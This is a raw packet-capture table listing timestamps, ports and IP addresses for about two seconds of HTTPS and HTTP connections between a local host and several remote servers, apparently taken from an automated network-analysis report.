Nov 23, 2024 01:14:39.304615021 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.304622889 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.304630041 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.304656029 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.304675102 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.304689884 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.304786921 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.304946899 CET	49884	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:39.304977894 CET	443	49884	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:39.305260897 CET	49884	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:39.305527925 CET	49884	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:39.305542946 CET	443	49884	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:39.308955908 CET	49885	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:39.308999062 CET	443	49885	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:39.309077978 CET	49885	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:39.309364080 CET	49885	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:39.309376001 CET	443	49885	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:39.351422071 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.363419056 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.363477945 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.363521099 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.363548994 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.363568068 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.363584042 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.363609076 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.366906881 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.366940022 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.367005110 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.367016077 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.367037058 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.367058039 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.371524096 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.371536970 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.372262001 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.372268915 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.385498047 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.385932922 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.385952950 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.386461973 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.386466026 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.408777952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:39.408875942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:39.414303064 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:39.425591946 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.425618887 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.425646067 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.425674915 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.425681114 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.425708055 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.425736904 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.425757885 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.433729887 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.433784008 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.433794975 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.433810949 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.433820009 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.433877945 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.433881044 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.433892965 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.433909893 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.433917046 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.433967113 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.472264051 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.472300053 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.472357035 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.472366095 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.472413063 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.472440004 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.475507021 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.475533962 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.475573063 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.475584030 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.475610018 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.475624084 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.485869884 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.485937119 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.500504971 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.501066923 CET	49881	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.501087904 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.501559973 CET	49881	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.501566887 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.507854939 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.507919073 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.507935047 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.507946968 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.507996082 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.529994965 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.530040979 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.530064106 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.530087948 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.530128002 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.530147076 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.533843994 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:39.533929110 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:39.534207106 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:39.564232111 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.564246893 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.564312935 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.564325094 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.564384937 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.604592085 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.604650974 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.604677916 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.604696035 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.604727030 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.604743958 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.616714954 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.616729975 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.616810083 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.616818905 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.616889000 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.620738983 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.620816946 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.626656055 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.626720905 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.640177011 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.640237093 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.640254021 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.640263081 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.640306950 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.640399933 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.640522003 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.642484903 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.642498970 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.649741888 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.649756908 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.649816990 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.649827003 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.649879932 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.651680946 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.651757956 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.653911114 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:39.668020010 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.668081045 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.668090105 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.668106079 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.668137074 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.668158054 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.672849894 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.672873974 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.672924995 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.672933102 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.672974110 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.672974110 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.675518036 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.675720930 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.675789118 CET	49877	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.675865889 CET	49877	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.675875902 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.675884962 CET	49877	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.675889015 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.676697969 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.676845074 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.676994085 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.677139997 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.677153111 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.677161932 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.677169085 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.679058075 CET	49887	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.679074049 CET	443	49887	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.679167986 CET	49888	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.679193020 CET	49887	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.679209948 CET	443	49888	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.679254055 CET	49888	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.679404020 CET	49888	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.679414988 CET	49887	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.679418087 CET	443	49888	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.679425001 CET	443	49887	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.684343100 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.684391022 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.684410095 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.684432030 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.684456110 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.684472084 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.691390991 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.691451073 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.707758904 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.707811117 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.707823992 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.707829952 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.707871914 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.723028898 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.723072052 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.723104954 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.723110914 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.723144054 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.723162889 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.729993105 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.730063915 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.746438980 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.746485949 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.746556997 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.746562958 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.746592045 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.746612072 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.752116919 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.752284050 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.752355099 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.752485991 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.752496004 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.755670071 CET	49889	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.755728960 CET	443	49889	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.755805969 CET	49889	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.755985975 CET	49889	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.756016970 CET	443	49889	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.765368938 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.765448093 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.806508064 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.806529999 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.806576967 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.806580067 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.806629896 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.807002068 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.807015896 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.823893070 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.824059010 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.824122906 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.824305058 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.824326992 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.824342966 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.824347973 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.827594042 CET	49890	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.827630997 CET	443	49890	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.827693939 CET	49890	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.827868938 CET	49890	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.827884912 CET	443	49890	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.857649088 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.857697964 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.857719898 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.857728004 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.857758045 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.857775927 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.864753008 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.864823103 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.875339031 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.875381947 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.875394106 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.875422001 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.875437021 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.875467062 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.887399912 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.887444973 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.887468100 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.887475014 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.887516022 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.887535095 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.892554998 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.892632961 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.903599024 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.903640032 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.903803110 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.903848886 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.903848886 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.903991938 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.903991938 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.952248096 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.952415943 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.952507019 CET	49881	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.963140965 CET	49881	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.963151932 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.967592955 CET	49891	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.967649937 CET	443	49891	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.967736959 CET	49891	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.967931986 CET	49891	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.967964888 CET	443	49891	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:40.168042898 CET	49892	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:40.168128014 CET	443	49892	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:40.168368101 CET	49892	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:40.168716908 CET	49892	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:40.168752909 CET	443	49892	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:40.203422070 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:40.203434944 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:40.299447060 CET	49893	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:40.299491882 CET	443	49893	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:40.299578905 CET	49893	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:40.300436974 CET	49893	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:40.300455093 CET	443	49893	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:40.324373960 CET	443	49883	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:40.325911045 CET	49883	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:40.325911045 CET	49883	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:40.325930119 CET	443	49883	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:40.325937033 CET	443	49883	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:40.326088905 CET	49883	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:40.326102018 CET	443	49883	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:40.710289955 CET	49894	443	192.168.2.5	142.250.176.193
Nov 23, 2024 01:14:40.710350990 CET	443	49894	142.250.176.193	192.168.2.5
Nov 23, 2024 01:14:40.710558891 CET	49894	443	192.168.2.5	142.250.176.193
Nov 23, 2024 01:14:40.710819006 CET	49894	443	192.168.2.5	142.250.176.193
Nov 23, 2024 01:14:40.710850954 CET	443	49894	142.250.176.193	192.168.2.5
Nov 23, 2024 01:14:40.910655022 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:40.910722017 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:40.910733938 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:40.910753012 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:40.910813093 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:40.910837889 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:40.910841942 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:40.910855055 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:40.910861015 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:40.910867929 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:40.910878897 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:40.910885096 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:40.910888910 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:40.910901070 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:40.910909891 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:40.911139965 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.030308008 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.030359030 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.030787945 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.081432104 CET	443	49883	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:41.081456900 CET	443	49883	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:41.081494093 CET	443	49883	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:41.081525087 CET	49883	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:41.081532955 CET	443	49883	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:41.081556082 CET	49883	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:41.082035065 CET	49883	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:41.082042933 CET	443	49883	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:41.082067966 CET	49883	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:41.082189083 CET	443	49883	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:41.082221985 CET	443	49883	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:41.082858086 CET	49883	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:41.111555099 CET	443	49885	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:41.111881971 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.111895084 CET	49885	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:41.111947060 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.111957073 CET	443	49885	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:41.111982107 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.112131119 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.112457037 CET	443	49885	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:41.113120079 CET	49885	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:41.113120079 CET	49885	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:41.113158941 CET	443	49885	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:41.113231897 CET	443	49885	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:41.113231897 CET	49885	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:41.113280058 CET	443	49885	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:41.116054058 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.116166115 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.116203070 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.116436005 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.124459028 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.124546051 CET	80	49886	185.215.113.16	192.168.2.5
